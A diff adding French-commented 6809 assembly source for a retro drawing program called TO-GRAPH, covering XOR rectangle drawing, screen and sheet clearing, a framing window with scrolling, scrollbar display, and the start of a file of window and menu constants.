+INVT11 LDA    <YT0+1
+       STA    <YT0      valeur 8..191
+
+       LDD    <XT1
+       ASRA
+       RORB
+       ASRA
+       RORB
+       ASRA
+       RORB
+       STB    <COLT1
+       CMPB   #77
+       BLE    INVT12    ->
+       LDB    #77
+       STB    <COLT1
+       LDD    #623
+       STD    <XT1
+
+INVT12 LDD    <YT1
+       CMPD   #191
+       BLE    INVT13    ->
+       LDD    #191
+       STD    <YT1
+INVT13 LDA    <YT1+1    valeur 8..191
+       STA    <YT1
+
+       LDA    <COLT1
+       SUBA   <COLT0
+       INCA
+       STA    <LARTV
+       LDA    <YT1
+       SUBA   <YT0
+       INCA
+       STA    <HAUTV
+
+*      calcul des référence 1er segment
+*      (page écran et adresse
+       LDA    $E7C3
+       ANDA   #$FE
+       LDB    <COLT0
+       LSRB
+       BCS    INVT14    ->
+       ORA    #$01
+INVT14 STA    <PRE7C3
+       LDA    <YT0
+       LDB    #40
+       MUL
+       ADDD   #$4000
+       STD    <ADPRSG
+       CLRA
+       LDB    <COLT0
+       LSRB
+       ADDD   <ADPRSG
+       STD    <ADPRSG
+
+*      calcul des nb de seg. sur page
+*      du 1er et sur l'autre
+       LDA    <LARTV
+       LSRA
+       STA    <NBSEG1
+       STA    <NBSEG2
+       BCC    INVT15    ->
+       INC    <NBSEG1
+
+*      xor sur seg. 1ère page
+INVT15 LDA    <PRE7C3
+       STA    $E7C3
+       LDA    <HAUTV
+       STA    <CPTLT
+       LDU    <ADPRSG
+       STU    <ADPRSL
+       LDY    #ZONTRA   Y=ad 1ére ligne
+       LDA    <LARTIR
+       LDB    <DECLIG
+       MUL
+       LEAY   D,Y
+INVT16 LDA    <DECSEG
+       LEAX   A,Y
+       LDA    <NBSEG1
+INVT17 LDB    ,U
+       EORB   ,X++
+       STB    ,U+
+       DECA
+       BNE    INVT17    ->
+       LDB    <LARTIR
+       LEAY   B,Y
+       LDU    <ADPRSL
+       LEAU   40,U
+       STU    <ADPRSL
+       DEC    <CPTLT
+       BNE    INVT16    ->
+
+*      xor seg. 2ème page
+       LDA    $E7C3
+       EORA   #$01
+       STA    $E7C3
+       LDA    <HAUTV
+       STA    <CPTLT
+       CLRA
+       LDB    <PRE7C3
+       ANDB   #1
+       EORB   #1
+       ADDD   <ADPRSG
+       STD    <ADPRSL
+       TFR    D,U
+       LDY    #ZONTRA+1 Y=ad 1ére ligne
+       LDA    <LARTIR
+       LDB    <DECLIG
+       MUL
+       LEAY   D,Y
+INVT18 LDA    <DECSEG
+       LEAX   A,Y
+       LDA    <NBSEG2
+INVT19 LDB    ,U
+       EORB   ,X++
+       STB    ,U+
+       DECA
+       BNE    INVT19    ->
+       LDB    <LARTIR
+       LEAY   B,Y
+       LDU    <ADPRSL
+       LEAU   40,U
+       STU    <ADPRSL
+       DEC    <CPTLT
+       BNE    INVT18    ->
+       RTS
+
+
+*=======================================
+* S/P raz de l'écran de travail
+*=======================================
+
+XRAZEC PSHS   D,Y
+       LDD    #$0104
+       LDY    #$174A
+       JSR    FENLOC
+       JSR    FENFON
+       PULS   D,Y,PC
+
+
+*=======================================
+* S/P raz de la feuille de travail
+*=======================================
+
+XRAZFE PSHS   D,X
+       LEAS   -2,S
+MEMBK  SET    0
+BKTRA  SET    1
+*---------------------------------------
+       LDA    BANKC
+       STA    MEMBK,S
+       LDA    #PBKTRA
+       STA    BKTRA,S
+BRAZF0 LDA    BKTRA,S
+       CMPA   #DBKTRA
+       BGT    FRAZF     fin ->
+       STA    BANKC
+       LDD    #0
+       LDX    #$A000
+BRAZF1 STD    ,X++
+       CMPX   #$E000
+       BNE    BRAZF1    ->
+       INC    BKTRA,S
+       BRA    BRAZF0    ->
+FRAZF  LDA    MEMBK,S
+       STA    BANKC
+       LEAS   2,S
+       PULS   D,X,PC
+
+
+*=======================================
+* S/P traitement de la fenêtre de
+*     cadrage de la feuille
+*
+* Entrée: A  =0   cadrage seul
+*            #0   +sélection zone
+*
+* Sortie: <ADF    pour le cadrage
+*    et si sélection zone:
+*         CADRNG  rangée début  (0..101)
+*         CADCOL  colonne début (0..59 )
+*         CADHAU  hauteur       (1..102)
+*         CADLAR                (1..120)
+*         B       éventuelle sélec ext
+*         A       interrupteur pleine
+*                 page
+*         Z    1  zone ok
+*              0  feuille vide ou aband.
+*=======================================
+
+FFCADS FCB    FCALL
+       FDB    FFCADF-$4000
+
+       FCB    FLOCF,8,18,1,1
+       FCB    FEDI
+       FCC    \Pleine\
+       FCB    0
+       FCB    FLOCR,1,1,1,1
+       FCB    FEDI
+       FCC    \page\
+       FCB    0
+       FCB    FLOCR,2,1,1,1
+       FCB    FEDI,BALISE,0
+       FCB    FLOCF,11,20,1,1
+       FCB    FINV,$50,OFF
+       FCB    FSTOP
+
+FFCADC FCB    FCALL
+       FDB    FFCADF-$4000
+
+       FCB    FLOCF,0,0,23,26
+       FCB    FCOMF,FF,OFF
+
+       FCB    FLOCA,0,5,1,16
+       FCB    FPOUSS,$90,OFF
+       FCB    FLOCA,0,23,1,12
+       FCB    FPOUSS,$91,OFF
+       FCB    FLOCA,0,37,1,14
+       FCB    FPOUSS,$92,OFF
+       FCB    FLOCA,0,53,1,12
+       FCB    FPOUSS,$93,OFF
+       FCB    FLOCA,0,67,1,12
+       FCB    FPOUSS,$94,OFF
+       FCB    FLOCA,1,1,2,2
+       FCB    FPOUSS,$0F,OFF  (ctrl) O
+       FCB    FLOCA,4,1,2,2
+       FCB    FPOUSS,$10,OFF  (ctrl) P
+       FCB    FLOCA,7,1,1,2
+       FCB    FINV,$12,OFF    (ctrl) R
+       FCB    FLOCA,10,1,1,2
+       FCB    FINV,$13,OFF    (ctrl) S
+       FCB    FLOCA,13,1,2,2
+       FCB    FPOUSS,$14,OFF  (ctrl) T
+       FCB    FLOCA,16,1,2,2
+       FCB    FPOUSS,$15,OFF  (ctrl) U
+       FCB    FLOCA,20,1,1,2
+       FCB    FPOUSS,$05,OFF  (ctrl) E
+       FCB    FLOCA,22,1,1,2
+       FCB    FPOUSS,$11,OFF  (ctrl) Q
+       FCB    FLOCA,24,6,1,4
+       FCB    FPOUSS,BS+$80,OFF
+       FCB    FLOCA,24,10,1,2
+       FCB    FPOUSS,BS,OFF
+       FCB    FLOCA,24,12,1,60
+       FCB    FPOUSS,$80,OFF
+       FCB    FLOCA,24,72,1,2
+       FCB    FPOUSS,HT,OFF
+       FCB    FLOCA,24,74,1,4
+       FCB    FPOUSS,HT+$80,OFF
+       FCB    FLOCA,1,78,2,2
+       FCB    FPOUSS,VT+$80,OFF
+       FCB    FLOCA,3,78,1,2
+       FCB    FPOUSS,VT,OFF
+       FCB    FLOCA,4,78,17,2
+       FCB    FPOUSS,$81,OFF
+       FCB    FLOCA,21,78,1,2
+       FCB    FPOUSS,LF,OFF
+       FCB    FLOCA,22,78,2,2
+       FCB    FPOUSS,LF+$80,OFF
+       FCB    FEDI,ESC,$4C,0
+       FCB    FSTOP
+
+FFCADF FCB    FLOCF,0,0,23,26
+       FCB    FTRAME,FTOURI
+       FCB    FLOCF,1,1,1,24
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FEDI,HT,ESC,$4E
+       FCC    \CADRAGE\
+       FCB    ESC,$4C,0
+       FCB    FLOCF,3,1,15,24
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FLOCF,19,1,3,24
+       FCB    FFOND,FTOURE,FCADRE
+
+       FCB    FLOCF,14,20,1,2
+       FCB    FEDI,ESC,$4E,SS2,$2D,0
+       FCB    FTOURI
+       FCB    FPOUSS,VT,OFF
+       FCB    FLOCR,1,-2,1,2
+       FCB    FEDI,SS2,$2C,0
+       FCB    FTOURI
+       FCB    FPOUSS,BS,OFF
+       FCB    FLOCR,0,4,1,2
+       FCB    FEDI,SS2,$2E,0
+       FCB    FTOURI
+       FCB    FPOUSS,HT,OFF
+       FCB    FLOCR,1,-2,1,2
+       FCB    FEDI,SS2,$2F,ESC,$4C,0
+       FCB    FTOURI
+       FCB    FPOUSS,LF,OFF
+
+       FCB    FLOCF,20,3,1,1
+       FCB    FEDI
+       FCC    \OK\
+       FCB    BALISE
+       FCC    \Annuler\
+       FCB    BALISE,0
+       FCB    FLOCF,20,6,1,1
+       FCB    FPOUSS,RC,OFF
+       FCB    FLOCF,20,22,1,1
+       FCB    FPOUSS,FF,OFF
+       FCB    FSTOP
+
+*---------------------------------------
+XSPCAD PSHS   D,X,Y,U   #(SPCADR)#
+       LEAS   -128,S
+BUFRED SET    0
+MEMBK  SET    120
+DBK    SET    121
+YRED   SET    122
+DECRNG SET    124     decalage +/-
+DECCOL SET    125         ...
+DRLG   SET    126     dern ...
+CLDRO  SET    127     col. bord droit
+PA     SET    128
+PB     SET    129
+*---------------------------------------
+
+       CLR    DECRNG,S   résultat cadr.
+       CLR    DECCOL,S
+
+       LEAX   FFCADC,PCR
+       TST    PA,S
+       BEQ    SPCAD0    ->
+       LEAX   FFCADS,PCR
+SPCAD0 LDD    #$011C
+       JSR    FENOUV
+
+       LDX    #239
+       STX    XXXXXX
+       LDX    #360
+       LDY    #39
+       STY    YYYYYY
+       LDY    #142
+       CLR    FILFLG
+       LDB    #BOX
+       JSR    EXTRA
+
+* Positionnement initial sur la feuille
+
+       LDA    BANKC
+       STA    MEMBK,S
+
+       LDD    <ADF
+       ROLA
+       ROLA
+       ROLA
+       ANDA   #3
+       ADDA   #PBKTRA
+       STA    DBK,S
+       LDD    <ADF
+       ANDA   #$3F
+       ADDD   #$A000
+       STD    <ADPRRL
+       LDY    #40
+       STY    YRED,S
+
+* Raz buffer image rangée
+
+BRED0  LEAX   BUFRED,S
+       LDB    #120
+BRED1  CLR    ,X+
+       DECB
+       BNE    BRED1     ->
+
+* Boucle de lecture de 8 lignes (1 car.)
+* en page 0
+
+       LDA    DBK,S
+       STA    BANKC
+       LDA    #9
+       STA    <CPTLT
+       LDY    <ADPRRL
+BRED2  LEAX   BUFRED,S
+       DEC    <CPTLT
+       LBEQ   RED0F     -->
+       LDA    BANKC
+       LDB    #60
+       CMPA   #PBKTRA+2
+       BEQ    RED0D     dernier bank ->
+       CMPY   #$E000-59
+       BCS    BRED01    trait. 60 ok ->
+       PSHS   Y         trait. en 2 fois
+       LDD    #$E000
+       SUBD   ,S++
+       STB    <CPTCT
+BRED00 LDA    ,Y+
+       BEQ    LRED00    ->
+       STA    ,X
+LRED00 LEAX   2,X
+       DECB
+       BNE    BRED00    ->
+       INC    BANKC
+       LDY    #$A000
+       LDB    #60
+       SUBB   <CPTCT
+BRED01 LDA    ,Y+
+       BEQ    LRED01    ->
+       STA    ,X
+LRED01 LEAX   2,X
+       DECB
+       BNE    BRED01    ->
+       CMPY   #$E000
+       BCS    BRED2     ->
+       INC    BANKC
+       LDY    #$A000
+       BRA    BRED2     ->
+
+RED0D  CMPY   #$DF40-59 dernier bank
+       BCS    BRED03    trait. 60 ok ->
+       PSHS   Y         trait. en 2 fois
+       LDD    #$DF40
+       SUBD   ,S++
+       STB    <CPTCT
+BRED02 LDA    ,Y+
+       BEQ    LRED02    ->
+       STA    ,X
+LRED02 LEAX   2,X
+       DECB
+       BNE    BRED02    ->
+       DEC    BANKC
+       DEC    BANKC
+       LDY    #$A000
+       LDB    #60
+       SUBB   <CPTCT
+BRED03 LDA    ,Y+
+       BEQ    LRED03    ->
+       STA    ,X
+LRED03 LEAX   2,X
+       DECB
+       BNE    BRED03    ->
+       CMPY   #$DF40
+       LBCS   BRED2     ->
+       DEC    BANKC
+       DEC    BANKC
+       LDY    #$A000
+       LBRA   BRED2     ->
+RED0F  EQU    *
+
+* Boucle de lecture de 8 lignes (1 car.)
+* en page 1
+
+       LDA    DBK,S
+       ADDA   #3
+       STA    BANKC
+       LDA    #9
+       STA    <CPTLT
+       LDY    <ADPRRL
+BRED3  LEAX   BUFRED,S
+       LEAX   1,X
+       DEC    <CPTLT
+       LBEQ   RED1F     -->
+       LDA    BANKC
+       LDB    #60
+       CMPA   #PBKTRA+5
+       BEQ    RED1D     dernier bank ->
+       CMPY   #$E000-59
+       BCS    BRED11    trait. 60 ok ->
+       PSHS   Y         trait. en 2 fois
+       LDD    #$E000
+       SUBD   ,S++
+       STB    <CPTCT
+BRED10 LDA    ,Y+
+       BEQ    LRED10    ->
+       STA    ,X
+LRED10 LEAX   2,X
+       DECB
+       BNE    BRED10    ->
+       INC    BANKC
+       LDY    #$A000
+       LDB    #60
+       SUBB   <CPTCT
+BRED11 LDA    ,Y+
+       BEQ    LRED11    ->
+       STA    ,X
+LRED11 LEAX   2,X
+       DECB
+       BNE    BRED11    ->
+       CMPY   #$E000
+       BCS    BRED3     ->
+       INC    BANKC
+       LDY    #$A000
+       BRA    BRED3     ->
+
+RED1D  CMPY   #$DF40-59 dernier bank
+       BCS    BRED13    trait. 60 ok ->
+       PSHS   Y         trait. en 2 fois
+       LDD    #$DF40
+       SUBD   ,S++
+       STB    <CPTCT
+BRED12 LDA    ,Y+
+       BEQ    LRED12    ->
+       STA    ,X
+LRED12 LEAX   2,X
+       DECB
+       BNE    BRED12    ->
+       DEC    BANKC
+       DEC    BANKC
+       LDY    #$A000
+       LDB    #60
+       SUBB   <CPTCT
+BRED13 LDA    ,Y+
+       BEQ    LRED13    ->
+       STA    ,X
+LRED13 LEAX   2,X
+       DECB
+       BNE    BRED13    ->
+       CMPY   #$DF40
+       LBCS   BRED3     ->
+       DEC    BANKC
+       DEC    BANKC
+       LDY    #$A000
+       LBRA   BRED3     ->
+
+RED1F  STY    <ADPRRL
+       LDA    BANKC
+       SUBA   #3
+       STA    DBK,S
+
+* Boucle de visualisation de la ligne
+* réduite.
+
+       CLRA
+       LEAU   BUFRED,S
+       LDY    YRED,S
+RED4   TST    ,U+
+       BEQ    RED5      ->
+       LDX    #240
+       LEAX   A,X
+       LDB    #PSETXY
+       JSR    EXTRA
+RED5   INCA
+       CMPA   #120
+       BNE    RED4      ->
+
+* Passer à la ligne car. suivante
+
+       LEAY   1,Y
+       STY    YRED,S
+       CMPY   #40+102
+       LBNE   BRED0     ->
+
+* Sélection opérateur
+
+CADR0  JSR    FENACT    sélection
+CADR1  JSR    FEN
+       TSTB
+       BEQ    CADR1     ->
+       CMPB   #FF
+       LBEQ   CADRRZ    raz ->
+       CMPB   #RC
+       LBEQ   CADROK    RC  ->
+       CMPB   #VT
+       LBEQ   CADRVT    VT ->
+       CMPB   #BS
+       LBEQ   CADRBS    BS ->
+       CMPB   #HT
+       LBEQ   CADRHT    HT ->
+       CMPB   #LF
+       LBEQ   CADRLF    LF ->
+       TST    PA,S
+       BNE    CADR1     ->
+       LDA    #$92
+       LDX    #CADRRT-$4000
+       LDY    #CADRRZ-$4000
+       LDU    #ABORT
+       LBSR   COMBK1
+       CMPU   #0
+       BEQ    CADR1     ->
+       JMP    ,U
+
+CADRVT EQU    *
+******
+
+* Vérification ligne non vide
+       JSR    FENDES
+
+       LDA    $E7C3
+       ORA    #1
+       STA    $E7C3
+       LDX    #$4000+5*8*40+15
+       LDB    #8
+CDRVV0 TST    ,X+
+       LBNE   CADR0     ->
+       DECB
+       BNE    CDRVV0    ->
+       LDA    $E7C3
+       EORA   #1
+       STA    $E7C3
+       LDX    #$4000+5*8*40+15
+       LDB    #7
+CDRVV1 TST    ,X+
+       LBNE   CADR0     ->
+       DECB
+       BNE    CDRVV1    ->
+
+* Scroll point
+       LDX    #$4000+5*8*40+15
+       LEAY   40,X
+       LDB    #101
+       STB    <CPTLT
+BVH0   LDB    #7
+BVH1   LDA    ,Y+
+       STA    ,X+
+       DECB
+       BNE    BVH1      ->
+       LEAX   40-7,X
+       LEAY   40-7,Y
+       DEC    <CPTLT
+       BNE    BVH0      ->
+
+       LDB    #7        raz nouv ligne
+BVH10  CLR    ,X+
+       DECB
+       BNE    BVH10     ->
+
+       LDA    $E7C3
+       EORA   #1
+       STA    $E7C3
+       LDX    #$4000+5*8*40+15
+       LEAY   40,X
+       LDB    #101
+       STB    <CPTLT
+BVH2   LDB    #8
+BVH3   LDA    ,Y+
+       STA    ,X+
+       DECB
+       BNE    BVH3      ->
+       LEAX   40-8,X
+       LEAY   40-8,Y
+       DEC    <CPTLT
+       BNE    BVH2      ->
+
+       LDB    #8        raz nouv ligne
+BVH30  CLR    ,X+
+       DECB
+       BNE    BVH30     ->
+
+       INC    DECRNG,S
+       LBRA   CADR0     ->
+
+CADRBS EQU    *
+******
+
+* Vérification 2 colonnes gauches vides
+       JSR    FENDES
+
+       LDA    $E7C3
+       ORA    #1
+       STA    $E7C3
+       LDX    #$4000+5*8*40+15
+       LDB    #102
+CDRBV0 LDA    ,X
+       ANDA   #$C0
+       LBNE   CADR0     ->
+       LEAX   40,X
+       DECB
+       BNE    CDRBV0    ->
+
+* Scroll 2 points
+       LDX    #$4000+5*8*40+22
+       LDB    #102
+       STB    <CPTLT
+BVG0   LDB    #7
+       LSL    ,X
+       LEAX   -1,X
+BVG1   DEC    $E7C3
+       ROL    ,X
+       INC    $E7C3
+       ROL    ,X
+       LEAX   -1,X
+       DECB
+       BNE    BVG1      ->
+       LEAX   48,X
+       DEC    <CPTLT
+       BNE    BVG0      ->
+
+       LDX    #$4000+5*8*40+22
+       LDB    #102
+       STB    <CPTLT
+BVG2   LDB    #7
+       LSL    ,X
+       LEAX   -1,X
+BVG3   DEC    $E7C3
+       ROL    ,X
+       INC    $E7C3
+       ROL    ,X
+       LEAX   -1,X
+       DECB
+       BNE    BVG3      ->
+       LEAX   48,X
+       DEC    <CPTLT
+       BNE    BVG2      ->
+
+       INC    DECCOL,S
+       LBRA   CADR0     ->
+
+CADRHT EQU    *
+******
+
+* Vérification 2 colonnes droites vides
+       JSR    FENDES
+
+       LDA    $E7C3
+       ORA    #1
+       STA    $E7C3
+       LDX    #$4000+5*8*40+22
+       LDB    #102
+CDRHV0 LDA    ,X
+       ANDA   #$03
+       LBNE   CADR0     ->
+       LEAX   40,X
+       DECB
+       BNE    CDRHV0    ->
+
+* Scroll 2 points
+       LDX    #$4000+5*8*40+15
+       LDB    #102
+       STB    <CPTLT
+BVD0   LDB    #7
+       LSR    ,X
+BVD1   DEC    $E7C3
+       ROR    ,X+
+       INC    $E7C3
+       ROR    ,X
+       DECB
+       BNE    BVD1      ->
+       LEAX   40-7,X
+       DEC    <CPTLT
+       BNE    BVD0      ->
+
+       LDX    #$4000+5*8*40+15
+       LDB    #102
+       STB    <CPTLT
+BVD2   LDB    #7
+       LSR    ,X
+BVD3   DEC    $E7C3
+       ROR    ,X+
+       INC    $E7C3
+       ROR    ,X
+       DECB
+       BNE    BVD3      ->
+       LEAX   40-7,X
+       DEC    <CPTLT
+       BNE    BVD2      ->
+
+       DEC    DECCOL,S
+       LBRA   CADR0     ->
+
+CADRLF EQU    *
+******
+
+* Vérification ligne non vide
+       JSR    FENDES
+
+       LDA    $E7C3
+       ORA    #1
+       STA    $E7C3
+       LDX    #$4000+5*8*40+15+101*40
+       LDB    #8
+CDRVB0 TST    ,X+
+       LBNE   CADR0     ->
+       DECB
+       BNE    CDRVB0    ->
+       LDA    $E7C3
+       EORA   #1
+       STA    $E7C3
+       LDX    #$4000+5*8*40+15+101*40
+       LDB    #7
+CDRVB1 TST    ,X+
+       LBNE   CADR0     ->
+       DECB
+       BNE    CDRVB1    ->
+
+* Scroll point
+       LDX    #$4000+5*8*40+15+101*40
+       LEAY   -40,X
+       LDB    #101
+       STB    <CPTLT
+BVB0   LDB    #7
+BVB1   LDA    ,Y+
+       STA    ,X+
+       DECB
+       BNE    BVB1      ->
+       LEAX   -47,X
+       LEAY   -47,Y
+       DEC    <CPTLT
+       BNE    BVB0      ->
+
+       LDB    #7        raz nouv ligne
+BVB10  CLR    ,X+
+       DECB
+       BNE    BVB10     ->
+
+       LDA    $E7C3
+       EORA   #1
+       STA    $E7C3
+       LDX    #$4000+5*8*40+15+101*40
+       LEAY   -40,X
+       LDB    #101
+       STB    <CPTLT
+BVB2   LDB    #8
+BVB3   LDA    ,Y+
+       STA    ,X+
+       DECB
+       BNE    BVB3      ->
+       LEAX   -48,X
+       LEAY   -48,Y
+       DEC    <CPTLT
+       BNE    BVB2      ->
+
+       LDB    #8        raz nouv ligne
+BVB30  CLR    ,X+
+       DECB
+       BNE    BVB30     ->
+
+       DEC    DECRNG,S
+       LBRA   CADR0     ->
+
+CADROK EQU    *         Sortie normale
+******
+       JSR    FENDES
+       LDA    MEMBK,S
+       STA    BANKC
+
+* Déterminer nouvelle adresse feuille
+       LDA    DECRNG,S
+       BEQ    CADRO2    ->
+       BMI    CADRO0    ->
+       LSLA             *8*60
+       LDB    #240
+       MUL
+       ADDD   <ADF
+       CMPD   #48960
+       BCS    CADRO1    ->
+       SUBD   #48960
+       BRA    CADRO1    ->
+CADRO0 NEGA
+       LSLA             *8*60
+       LDB    #240
+       MUL
+       PSHS   D
+       LDD    <ADF
+       SUBD   ,S++
+       BCC    CADRO1    ->
+       ADDD   #48960
+CADRO1 STD    <ADF
+CADRO2 LDB    DECCOL,S
+       BEQ    CADRO5    ->
+       BMI    CADRO3    ->
+       CLRA
+       ADDD   <ADF
+       CMPD   #48960
+       BCS    CADRO4    ->
+       SUBD   #48960
+       BRA    CADRO4    ->
+CADRO3 NEGB
+       CLRA
+       PSHS   D
+       LDD    <ADF
+       SUBD   ,S++
+       BCC    CADRO4    ->
+       ADDD   #48960
+CADRO4 STD    <ADF
+
+* Déterminer sélection si demandé
+CADRO5 TST    PA,S
+       LBEQ   CADRO6    ->
+       LDB    #$50
+       JSR    FENCH
+       LDA    VAL,X
+       STA    PA,S
+
+* Déterminer la 1ère ligne non vide
+       LDA    $E7C3     # page 0
+       ORA    #1
+       STA    $E7C3
+       LDX    #$4000+5*8*40+15
+       LDB    #102
+       STB    <CPTLT
+BD1L0  LDB    #8
+BD1L1  TST    ,X+
+       BNE    LD1L0     trouvé ->
+       DECB
+       BNE    BD1L1     ->
+       LEAX   40-8,X
+       DEC    <CPTLT
+       BNE    BD1L0     ->
+
+LD1L0  LDB    #102
+       SUBB   <CPTLT
+       STB    CADRNG    result page 0
+
+       LDA    $E7C3     # page 1
+       EORA   #1
+       STA    $E7C3
+       LDX    #$4000+5*8*40+15
+       LDB    #102
+       STB    <CPTLT
+BD2L0  LDB    #7
+BD2L1  TST    ,X+
+       BNE    LD2L0     trouvé ->
+       DECB
+       BNE    BD2L1     ->
+       LEAX   40-7,X
+       DEC    <CPTLT
+       BNE    BD2L0     ->
+
+LD2L0  LDB    #102      result page 1
+       SUBB   <CPTLT
+       CMPB   CADRNG
+       BGE    LD2L1     ->
+       STB    CADRNG
+LD2L1  LDB    CADRNG
+       CMPB   #102
+       LBEQ   CADRRZ    feuille vide ->
+
+* Détermination dernière ligne
+       LDA    $E7C3     # page 0
+       ORA    #1
+       STA    $E7C3
+       LDX    #$4000+5*8*40+15+101*40
+       LDB    #101
+       STB    <CPTLT
+BDDL0  LDB    #8
+BDDL1  TST    ,X+
+       BNE    LDDL0     trouvé ->
+       DECB
+       BNE    BDDL1     ->
+       LEAX   -48,X
+       DEC    <CPTLT
+       BRA    BDDL0     ->
+
+LDDL0  LDB    <CPTLT    result page 0
+       STB    DRLG,S
+
+       LDA    $E7C3     # page 1
+       EORA   #1
+       STA    $E7C3
+       LDX    #$4000+5*8*40+15+101*40
+       LDB    #101
+       STB    <CPTLT
+BDDL2  LDB    #7
+BDDL3  TST    ,X+
+       BNE    LDDL1     trouvé ->
+       DECB
+       BNE    BDDL3     ->
+       LEAX   -47,X
+       DEC    <CPTLT
+       BRA    BDDL2     ->
+
+LDDL1  LDB    <CPTLT
+       CMPB   DRLG,S
+       BGT    LDDL2     ->
+       LDB    DRLG,S
+LDDL2  SUBB   CADRNG
+       INCB
+       STB    CADHAU
+
+* Cumul des lignes sur le buffer
+* BUFRED
+       LEAX   BUFRED,S
+       LDB    #15
+BRAZBR CLR    ,X+
+       DECB
+       BNE    BRAZBR    ->
+
+       LDA    $E7C3     page 0
+       ORA    #1
+       STA    $E7C3
+       LDX    #$4000+5*8*40+15
+       LDA    CADRNG
+       LDB    #40
+       MUL
+       LEAX   D,X
+       LDA    CADHAU
+       STA    <CPTLT
+BCUM0  LDB    #8
+       LEAY   BUFRED,S
+BCUM1  LDA    ,X+
+       ORA    ,Y
+       STA    ,Y++
+       DECB
+       BNE    BCUM1     ->
+       LEAX   40-8,X
+       DEC    <CPTLT
+       BNE    BCUM0     ->
+
+       LDA    $E7C3     page 1
+       EORA   #1
+       STA    $E7C3
+       LDX    #$4000+5*8*40+15
+       LDA    CADRNG
+       LDB    #40
+       MUL
+       LEAX   D,X
+       LDA    CADHAU
+       STA    <CPTLT
+BCUM2  LDB    #7
+       LEAY   BUFRED,S
+       LEAY   1,Y
+BCUM3  LDA    ,X+
+       ORA    ,Y
+       STA    ,Y++
+       DECB
+       BNE    BCUM3     ->
+       LEAX   40-7,X
+       DEC    <CPTLT
+       BNE    BCUM2     ->
+
+* Recherche borne gauche
+       LEAX   BUFRED,S
+       CLRB
+BRBG0  LDA    ,X+
+       BNE    LRBG0     ->
+       INCB
+       BRA    BRBG0     ->
+LRBG0  PSHS   A
+       LDA    #8
+       MUL
+       STB    CADCOL
+       PULS   A
+       LDB    #-1
+BRBG1  LSLA
+       INCB
+       BCC    BRBG1     ->
+       ADDB   CADCOL
+       LSRB             colonne / page
+       STB    CADCOL              paire
+
+* Recherche borne droite
+       LEAX   BUFRED,S
+       LDB    #14
+BRBD0  LDA    B,X
+       BNE    LRBD0     ->
+       DECB
+       BRA    BRBD0     ->
+LRBD0  PSHS   A
+       LDA    #8
+       MUL
+       PULS   A
+       STB    CLDRO,S
+       LDB    #8
+BRBD1  LSRA
+       DECB
+       BCC    BRBD1     ->
+       ADDB   CLDRO,S
+       SUBB   CADCOL    0..59 et non
+       SUBB   CADCOL    0..119 !!!
+       INCB
+       STB    CADLAR
+
+       LDX    #240
+       LDA    CADCOL
+       LSLA
+       LEAX   A,X
+       STX    XXXXXX
+       LDA    CADLAR
+       LEAX   A,X
+       LEAX   -1,X
+       LDY    #40
+       LDA    CADRNG
+       LEAY   A,Y
+       STY    YYYYYY
+       LDA    CADHAU
+       LEAY   A,Y
+       LEAY   -1,Y
+       LDB    #BOX
+       JSR    EXTRA
+
+CADRO6 CLR    PB,S
+       ANDCC  #$FB
+       LEAS   128,S
+       PULS   D,X,Y,U,PC ->>
+
+CADRRZ EQU    *
+******
+       CLRB
+CADRRT STB    PB,S
+       CLRB
+       JSR    FENFER
+       JSR    FENACT
+       LDA    MEMBK,S
+       STA    BANKC
+       ORCC   #$04
+       LEAS   128,S
+       PULS   D,X,Y,U,PC ->>
+
+
+*=======================================
+* S/P visualisation de l'ascenceur bas
+*=======================================
+
+XVISAB LDA    #1
+       LDB    #60
+       TFR    D,Y
+       LDA    #24
+       LDB    #12
+       JSR    FENLOC
+       JSR    FENFON
+       JSR    FENTI
+       LDA    #1
+       LDB    #37
+       TFR    D,Y
+       LDA    #24
+       LDB    #12
+       ADDB   CLDECR
+       JSR    FENLOC
+       JSR    FENTRA
+       JSR    FENTI
+       RTS
+
+
+*=======================================
+* S/P visualisation de l'ascenceur droit
+*=======================================
+
+XVISAD LDA    #17
+       LDB    #2
+       TFR    D,Y
+       LDA    #4
+       LDB    #78
+       JSR    FENLOC
+       JSR    FENFON
+       JSR    FENTI
+       LDA    #4
+       LDB    #2
+       TFR    D,Y
+       LDB    RGDECR
+       CLRA
+DDIV6  SUBB   #6
+       BCS    FDIV6     ->
+       INCA
+       BRA    DDIV6     ->
+FDIV6  TSTA
+       BNE    VISAS0    ->
+       TST    RGDECR
+       BEQ    VISAS1    ->
+       INCA             montrer pas haut
+       BRA    VISAS1
+VISAS0 CMPA   #13
+       BNE    VISAS1
+       LDB    RGDECR
+       CMPB   #78
+       BGE    VISAS1
+       DECA             montrer pas bas
+VISAS1 ADDA   #4
+       LDB    #78
+       JSR    FENLOC
+       JSR    FENTRA
+       JSR    FENTI
+       RTS
diff --git a/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-CN.ASM b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-CN.ASM
new file mode 100644
index 0000000..ecffe20
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-CN.ASM
@@ -0,0 +1,671 @@
+       TITLE  TO-GRAPH: constantes
+*      ------------------------------
+       PAGE
+
+****************************************
+*                                      *
+*           constantes                 *
+*                                      *
+****************************************
+
+****************************************
+*           F E N E T R E S            *
+****************************************
+
+* Fenêtre principale
+*---------------------------------------
+
+FENPR  FCB    FEDI,ESC,$4E,0
+       FCB    FLOCA,0,5,1,16
+       FCB    FEDI
+       FCC    \FICHIERS\
+       FCB    0
+       FCB    FINVVD
+       FCB    FLOCA,0,23,1,12
+       FCB    FEDI
+       FCC    \TIROIR\
+       FCB    0
+       FCB    FINVVD
+       FCB    FLOCA,0,37,1,14
+       FCB    FEDI
+       FCC    \CADRAGE\
+       FCB    0
+       FCB    FINVVD
+       FCB    FLOCA,0,53,1,12
+       FCB    FEDI
+       FCC    \ALBUMS\
+       FCB    0
+       FCB    FINVVD
+       FCB    FLOCA,0,67,1,12
+       FCB    FEDI
+       FCC    \IMPRES\
+       FCB    0
+       FCB    FINVVD
+
+       FCB    FLOCA,4,1,2,2
+       FCB    FTOURE,FCADRE
+       FCB    FLOCA,7,1,1,2
+       FCB    FTOURE
+       FCB    FLOCA,9,1,1,2   Remplissag
+       FCB    FINVVD
+       FCB    FLOCA,11,1,1,2
+       FCB    FINVVD
+       FCB    FLOCA,10,0,1,4
+       FCB    FTOURI
+       FCB    FLOCA,10,1,1,2
+       FCB    FLOCA,13,1,2,2  Superposit
+       FCB    FTOURE
+       FCB    FLOCA,16,1,2,2  Taille lig
+       FCB    FTOURE
